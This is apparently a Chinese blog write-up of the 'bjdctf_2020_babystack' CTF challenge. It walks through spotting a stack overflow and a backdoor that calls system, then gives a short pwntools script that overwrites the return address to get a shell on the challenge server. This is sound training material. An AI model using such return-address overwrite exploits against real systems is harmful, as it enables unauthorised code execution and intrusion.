当前位置:网站首页>bjdctf_2020_babystack
bjdctf_2020_babystack
2022-07-23 23:28:00 【长街395】
一、查看文件


64位,保护基本未开
二、IDA反编译
我们放到ida 中再看看代码
初步判断栈溢出
接着看有个backdoor函数:
有个system系统调用函数,
栈溢出实捶
我们找到command地址
buf 10字节就可以溢出

所以可以构造代码了。
三、代码
from pwn import*
from LibcSearcher import *
r=remote("node4.buuoj.cn",25122)
p=b"a"*(0x10+0x08)+p64(0x4006e6)
r.sendline(str(len(p) + 1))
r.recvuntil('name?')
r.sendline(p)
r.interactive()


总结
虽然只是一道基础的栈溢出题目,我其实很激动,因为其他的博客里我多多少少是参照了其他大佬的思维,这道题,也算证明了菜狗子的训练是有效的,起码碰到类似的题目也可以尝试做了。嘻嘻,加油吧。
边栏推荐
- The basic syntax of go language (variables, constants, basic data types, for, switch, case, array, slice, make, new, map)
- How are you preparing for the Android golden nine silver ten interview? The latest Android Interview Questions Summary helps you prepare for the war
- Redis pipeline technology / partition
- 【音视频技术】视频质量评价 MSU VQMT & Netflix vmaf
- Tap series article 5 | cloud native build service
- Principal component analysis (matlab)
- Grey correlation analysis (matlab)
- After reading this article, thoroughly understand grpc!
- Tap series article 7 | easy to manage pipeline configuration
- 1、 Simplification of digital logic
猜你喜欢

What is the difference between go run, go build and go install

Tap series article 5 | cloud native build service

【音视频技术】视频质量评价 MSU VQMT & Netflix vmaf

DHCP: prevent rogue DHCP server in the network

Tap series article 6 | application model of tap

Baidu editor uploads pictures and sets custom directories

TAP 系列文章6 | TAP的应用模型

Mongodb - Introduction to the use of $exists and the combination of $ne, $nin, $nor, $not in query statements

Redis管道技术/分区

EasyNVR平台如何关闭匿名登录?
随机推荐
Galaxy Securities opens an account online. Is it safe to open an account on your mobile phone
Exch:pop3 and IMAP4 operation guide
PHP(2)
Remember an experience of being cheated by the Internet
1、 Simplification of digital logic
【音视频技术】视频质量评价 MSU VQMT & Netflix vmaf
Detailed explanation of pseudo instructions in assembly language (with examples)
Quickly learn to use file permissions
砺夏行动|源启数字化:既有模式,还是开源创新?
难怪国内企业ERP应用效果普遍不理想
Use boundschecker "suggestions collection"
The role of physical layer, link layer, network layer, transport layer and application layer of tcp/ip model of internet protocol stack
Go language multiple return values and return error types
USB转CAN设备在核酸提取仪 高性能USB接口CAN卡
Intel英特尔RealSense实感深度摄像头 自校准(Self-Calibration)操作步骤讲解 D400系列适用
礪夏行動|源啟數字化:既有模式,還是開源創新?
Getting started database days2
Getting started database days3
TAP 系列文章7 | 易于管理的流水线配置
Structured Streaming 编程模型(Input Table、Result Table、Output Mode...)